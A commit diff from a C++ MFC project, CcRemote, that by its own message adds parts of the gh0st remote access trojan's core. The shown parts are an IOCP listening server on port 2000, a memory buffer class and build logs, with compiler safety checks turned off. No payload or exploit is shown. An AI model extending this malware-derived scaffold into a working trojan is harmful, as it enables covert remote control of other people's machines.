分析ght核心，添加了gh0st的部分核心到项目，关于端口监控

CcRemote/CcRemote/CcRemote.vcxproj

@@ -38,7 +38,7 @@
     <UseDebugLibraries>false</UseDebugLibraries>
     <PlatformToolset>v141</PlatformToolset>
     <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>Unicode</CharacterSet>
+    <CharacterSet>MultiByte</CharacterSet>
     <UseOfMfc>Static</UseOfMfc>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
@@ -53,7 +53,7 @@
     <UseDebugLibraries>false</UseDebugLibraries>
     <PlatformToolset>v141</PlatformToolset>
     <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>Unicode</CharacterSet>
+    <CharacterSet>MultiByte</CharacterSet>
     <UseOfMfc>Static</UseOfMfc>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
@@ -91,12 +91,14 @@
       <PrecompiledHeader>Use</PrecompiledHeader>
       <WarningLevel>Level3</WarningLevel>
       <Optimization>Disabled</Optimization>
-      <SDLCheck>true</SDLCheck>
+      <SDLCheck>false</SDLCheck>
       <PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
+      <AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
     </Link>
     <Midl>
       <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -114,12 +116,14 @@
       <PrecompiledHeader>Use</PrecompiledHeader>
       <WarningLevel>Level3</WarningLevel>
       <Optimization>Disabled</Optimization>
-      <SDLCheck>true</SDLCheck>
+      <SDLCheck>false</SDLCheck>
       <PreprocessorDefinitions>_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
+      <AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
     </Link>
     <Midl>
       <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -139,14 +143,18 @@
       <Optimization>MaxSpeed</Optimization>
       <FunctionLevelLinking>true</FunctionLevelLinking>
       <IntrinsicFunctions>true</IntrinsicFunctions>
-      <SDLCheck>true</SDLCheck>
+      <SDLCheck>false</SDLCheck>
       <PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
+      <AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
+      <AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
     </Link>
     <Midl>
       <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -166,14 +174,18 @@
       <Optimization>MaxSpeed</Optimization>
       <FunctionLevelLinking>true</FunctionLevelLinking>
       <IntrinsicFunctions>true</IntrinsicFunctions>
-      <SDLCheck>true</SDLCheck>
+      <SDLCheck>false</SDLCheck>
       <PreprocessorDefinitions>_WINDOWS;NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
+      <AdditionalDependencies>..\..\common\zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
+      <AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
     </Link>
     <Midl>
       <MkTypLibCompatible>false</MkTypLibCompatible>
@@ -190,6 +202,10 @@
     <ClInclude Include="CcRemote.h" />
     <ClInclude Include="CcRemoteDlg.h" />
     <ClInclude Include="framework.h" />
+    <ClInclude Include="include\Buffer.h" />
+    <ClInclude Include="include\CpuUsage.h" />
+    <ClInclude Include="include\IOCPServer.h" />
+    <ClInclude Include="include\Mapper.h" />
     <ClInclude Include="pch.h" />
     <ClInclude Include="PublicStruct.h" />
     <ClInclude Include="Resource.h" />
@@ -199,6 +215,17 @@
   <ItemGroup>
     <ClCompile Include="CcRemote.cpp" />
     <ClCompile Include="CcRemoteDlg.cpp" />
+    <ClCompile Include="include\Buffer.cpp">
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
+    </ClCompile>
+    <ClCompile Include="include\CpuUsage.cpp" />
+    <ClCompile Include="include\IOCPServer.cpp">
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
+    </ClCompile>
     <ClCompile Include="pch.cpp">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>

CcRemote/CcRemote/CcRemote.vcxproj.filters

@@ -42,6 +42,18 @@
     <ClInclude Include="TrueColorToolBar.h">
       <Filter>重写控件</Filter>
     </ClInclude>
+    <ClInclude Include="include\Buffer.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
+    <ClInclude Include="include\CpuUsage.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
+    <ClInclude Include="include\IOCPServer.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
+    <ClInclude Include="include\Mapper.h">
+      <Filter>头文件</Filter>
+    </ClInclude>
   </ItemGroup>
   <ItemGroup>
     <ClCompile Include="CcRemote.cpp">
@@ -56,6 +68,15 @@
     <ClCompile Include="TrueColorToolBar.cpp">
       <Filter>重写控件</Filter>
     </ClCompile>
+    <ClCompile Include="include\Buffer.cpp">
+      <Filter>源文件</Filter>
+    </ClCompile>
+    <ClCompile Include="include\CpuUsage.cpp">
+      <Filter>源文件</Filter>
+    </ClCompile>
+    <ClCompile Include="include\IOCPServer.cpp">
+      <Filter>源文件</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ResourceCompile Include="CcRemote.rc">

CcRemote/CcRemote/CcRemoteDlg.cpp

@@ -15,7 +15,7 @@
 
 
 
-
+CIOCPServer *m_iocpServer = NULL;
 // 用于应用程序“关于”菜单项的 CAboutDlg 对话框
 
 class CAboutDlg : public CDialogEx
@@ -96,6 +96,78 @@ END_MESSAGE_MAP()
 
 // CCcRemoteDlg 消息处理程序
 
+/////////////////////////////////////////////////////////////////////////////
+// CMainFrame message handlers
+//NotifyProc是这个socket内核的核心  所有的关于socket 的处理都要调用这个函数
+void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
+{
+	try
+	{
+		switch (nCode)
+		{
+		case NC_CLIENT_CONNECT:
+			break;
+		case NC_CLIENT_DISCONNECT:
+			//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
+			break;
+		case NC_TRANSMIT:
+			break;
+		case NC_RECEIVE:
+			//ProcessReceive(pContext);        //这里是有数据到来 但没有完全接收
+			break;
+		case NC_RECEIVE_COMPLETE:
+			//ProcessReceiveComplete(pContext);       //这里时完全接收 处理发送来的数据 跟进    ProcessReceiveComplete
+			break;
+		}
+	}
+	catch (...) {}
+}
+
+
+//                             监听端口    最大上线个数
+void CCcRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
+{
+	CString		str;
+
+	if (m_iocpServer != NULL)
+	{
+		m_iocpServer->Shutdown();
+		delete m_iocpServer;
+
+	}
+	m_iocpServer = new CIOCPServer;
+
+	// 开启IPCP服务器 最大连接  端口     查看NotifyProc回调函数  函数定义
+	if (m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort))
+	{
+
+		char hostname[256];
+		gethostname(hostname, sizeof(hostname));
+		HOSTENT *host = gethostbyname(hostname);
+		if (host != NULL)
+		{
+			for (int i = 0; ; i++)
+			{
+				str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
+				if (host->h_addr_list[i] + host->h_length >= host->h_name)
+					break;
+				str += "/";
+			}
+		}
+
+
+		str.Format("监听端口: %d成功", nPort);
+		ShowMessage(true, str);
+	}
+	else
+	{
+		str.Format("监听端口: %d失败", nPort);
+		ShowMessage(true, str);
+	}
+
+	//m_wndStatusBar.SetPaneText(3, "连接: 0");
+}
+
 BOOL CCcRemoteDlg::OnInitDialog()
 {
 	CDialogEx::OnInitDialog();
@@ -138,6 +210,7 @@ BOOL CCcRemoteDlg::OnInitDialog()
 	rect.bottom += 20;
 	MoveWindow(rect);
 	//----------------------------------------|
+	Activate(2000,9999);
 	Test();
 	
 	return TRUE;  // 除非将焦点设置到控件，否则返回 TRUE

CcRemote/CcRemote/CcRemoteDlg.h

@@ -3,6 +3,7 @@
 //
 #include "TrueColorToolBar.h"
 #include "PublicStruct.h"
+#include "include/IOCPServer.h"
 #pragma once
 
 
@@ -82,7 +83,8 @@ private:
 	void ShowMessage(bool bIsOK, CString strMsg);
 	void Test();
 
-
+	static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
+	void Activate(UINT nPort, UINT nMaxConnections);
 
 public:
 	//-------------自定义消息处理-------------

CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log

@@ -1,20 +1,23 @@
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
-f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
+g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
-f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
+g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
-f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
-f:\myapp\ccremote\ccremote\debug\ccremote.ilk
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
-f:\myapp\ccremote\ccremote\debug\ccremote.exe
+g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
-f:\myapp\ccremote\ccremote\debug\ccremote.pdb
+g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
+g:\ccremote\ccremote\ccremote\debug\ccremote.ilk
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
+g:\ccremote\ccremote\ccremote\debug\ccremote.exe
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
+g:\ccremote\ccremote\ccremote\debug\ccremote.pdb
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
-f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

CcRemote/CcRemote/Debug/CcRemote.log

@@ -1,8 +1,18 @@
   pch.cpp
   CcRemote.cpp
   CcRemoteDlg.cpp
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(220): warning C4244: “初始化”: 从“double”转换到“int”，可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(218): warning C4244: “初始化”: 从“double”转换到“int”，可能丢失数据
-f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(237): warning C4244: “初始化”: 从“double”转换到“int”，可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(235): warning C4244: “初始化”: 从“double”转换到“int”，可能丢失数据
+  CpuUsage.cpp
   TrueColorToolBar.cpp
   正在生成代码...
-  CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\Debug\CcRemote.exe
+  Buffer.cpp
+  IOCPServer.cpp
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”，可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
+  正在生成代码...
+  CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Debug\CcRemote.exe

CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate

@@ -1,2 +1,2 @@
 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Debug|Win32|F:\myapp\CcRemote\CcRemote\|
+Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|

CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log

@@ -0,0 +1,24 @@
+g:\ccremote\ccremote\ccremote\release\ccremote.ipdb
+g:\ccremote\ccremote\ccremote\release\ccremote.iobj
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
+g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
+g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj
+g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj
+g:\ccremote\ccremote\ccremote\release\ccremote.exe
+g:\ccremote\ccremote\ccremote\release\ccremote.pdb
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
+g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog

CcRemote/CcRemote/Release/CcRemote.log

@@ -0,0 +1,23 @@
+  pch.cpp
+  CcRemote.cpp
+  CcRemoteDlg.cpp
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(146): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(151): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(291): warning C4244: “初始化”: 从“double”转换到“int”，可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(308): warning C4244: “初始化”: 从“double”转换到“int”，可能丢失数据
+  CpuUsage.cpp
+  TrueColorToolBar.cpp
+  Buffer.cpp
+  IOCPServer.cpp
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”，可能丢失数据
+g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
+  正在生成代码
+  All 391 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
+  已完成代码的生成
+  CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Release\CcRemote.exe

CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate

@@ -0,0 +1,2 @@
+#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
+Release|Win32|G:\CcRemote\CcRemote\CcRemote\|

CcRemote/CcRemote/include/Buffer.cpp

@@ -0,0 +1,524 @@
+// Buffer.cpp: implementation of the CBuffer class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "..\pch.h"
+#include "Buffer.h"
+#include "Math.h"
+
+#ifdef _DEBUG
+#undef THIS_FILE
+static char THIS_FILE[]=__FILE__;
+#define new DEBUG_NEW
+#endif
+
+
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	CBuffer
+// 
+// DESCRIPTION:	Constructs the buffer with a default size
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+CBuffer::CBuffer()
+{
+	// Initial size
+	m_nSize = 0;
+
+	m_pPtr = m_pBase = NULL;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	~CBuffer
+// 
+// DESCRIPTION:	Deallocates the buffer
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+CBuffer::~CBuffer()
+{
+	if (m_pBase)
+		VirtualFree(m_pBase,0,MEM_RELEASE);
+}
+	
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Write
+// 
+// DESCRIPTION:	Writes data into the buffer
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+BOOL CBuffer::Write(PBYTE pData, UINT nSize)
+{
+	ReAllocateBuffer(nSize + GetBufferLen());
+
+	CopyMemory(m_pPtr,pData,nSize);
+
+	// Advance Pointer
+	m_pPtr+=nSize;
+
+	return nSize;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Insert
+// 
+// DESCRIPTION:	Insert data into the buffer 
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
+{
+	ReAllocateBuffer(nSize + GetBufferLen());
+
+	MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
+	CopyMemory(m_pBase,pData,nSize);
+
+	// Advance Pointer
+	m_pPtr+=nSize;
+
+	return nSize;
+}
+
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Read
+// 
+// DESCRIPTION:	Reads data from the buffer and deletes what it reads
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+UINT CBuffer::Read(PBYTE pData, UINT nSize)
+{
+	// Trying to byte off more than ya can chew - eh?
+	if (nSize > GetMemSize())
+		return 0;
+
+	// all that we have 
+	if (nSize > GetBufferLen())
+		nSize = GetBufferLen();
+
+		
+	if (nSize)
+	{
+		// Copy over required amount and its not up to us
+		// to terminate the buffer - got that!!!
+		CopyMemory(pData,m_pBase,nSize);
+		
+		// Slide the buffer back - like sinking the data
+		MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
+
+		m_pPtr -= nSize;
+	}
+		
+	DeAllocateBuffer(GetBufferLen());
+
+	return nSize;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	GetMemSize
+// 
+// DESCRIPTION:	Returns the phyical memory allocated to the buffer
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+UINT CBuffer::GetMemSize() 
+{
+	return m_nSize;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	GetBufferLen
+// 
+// DESCRIPTION:	Get the buffer 'data' length
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+UINT CBuffer::GetBufferLen() 
+{
+	if (m_pBase == NULL)
+		return 0;
+
+	int nSize = 
+		m_pPtr - m_pBase;
+	return nSize;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	ReAllocateBuffer
+// 
+// DESCRIPTION:	ReAllocateBuffer the Buffer to the requested size
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
+{
+	if (nRequestedSize < GetMemSize())
+		return 0;
+
+	// Allocate new size
+	UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
+
+	// New Copy Data Over
+	PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
+
+	UINT nBufferLen = GetBufferLen();
+	CopyMemory(pNewBuffer,m_pBase,nBufferLen);
+
+	if (m_pBase)
+		VirtualFree(m_pBase,0,MEM_RELEASE);
+
+
+	// Hand over the pointer
+	m_pBase = pNewBuffer;
+
+	// Realign position pointer
+	m_pPtr = m_pBase + nBufferLen;
+
+	m_nSize = nNewSize;
+
+	return m_nSize;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	DeAllocateBuffer
+// 
+// DESCRIPTION:	DeAllocates the Buffer to the requested size
+// 
+// RETURNS:		
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
+{
+	if (nRequestedSize < GetBufferLen())
+		return 0;
+
+	// Allocate new size
+	UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
+
+	if (nNewSize < GetMemSize())
+		return 0;
+
+	// New Copy Data Over
+	PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
+
+	UINT nBufferLen = GetBufferLen();
+	CopyMemory(pNewBuffer,m_pBase,nBufferLen);
+
+	VirtualFree(m_pBase,0,MEM_RELEASE);
+
+	// Hand over the pointer
+	m_pBase = pNewBuffer;
+
+	// Realign position pointer
+	m_pPtr = m_pBase + nBufferLen;
+
+	m_nSize = nNewSize;
+
+	return m_nSize;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Scan
+// 
+// DESCRIPTION:	Scans the buffer for a given byte sequence
+// 
+// RETURNS:		Logical offset
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+int CBuffer::Scan(PBYTE pScan,UINT nPos)
+{
+	if (nPos > GetBufferLen() )
+		return -1;
+
+	PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
+	
+	int nOffset = 0;
+
+	if (pStr)
+		nOffset = (pStr - m_pBase) + strlen((char*)pScan);
+
+	return nOffset;
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	ClearBuffer
+// 
+// DESCRIPTION:	Clears/Resets the buffer
+// 
+// RETURNS:	
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
+////////////////////////////////////////////////////////////////////////////////
+void CBuffer::ClearBuffer()
+{
+	// Force the buffer to be empty
+	m_pPtr = m_pBase;
+
+	DeAllocateBuffer(1024);
+}
+
+////////////////////////////////////////////////////////////////////////////////
+// 
+// FUNCTION:	Write
+// 
+// DESCRIPTION:	Writes a string a the end of the buffer
+// 
+// RETURNS:	
+// 
+// NOTES:	
+// 
+// MODIFICATIONS:
+// 
+// Name				Date		Version		Comments
+// N T ALMOND       270400		1.0			Origin
+// 
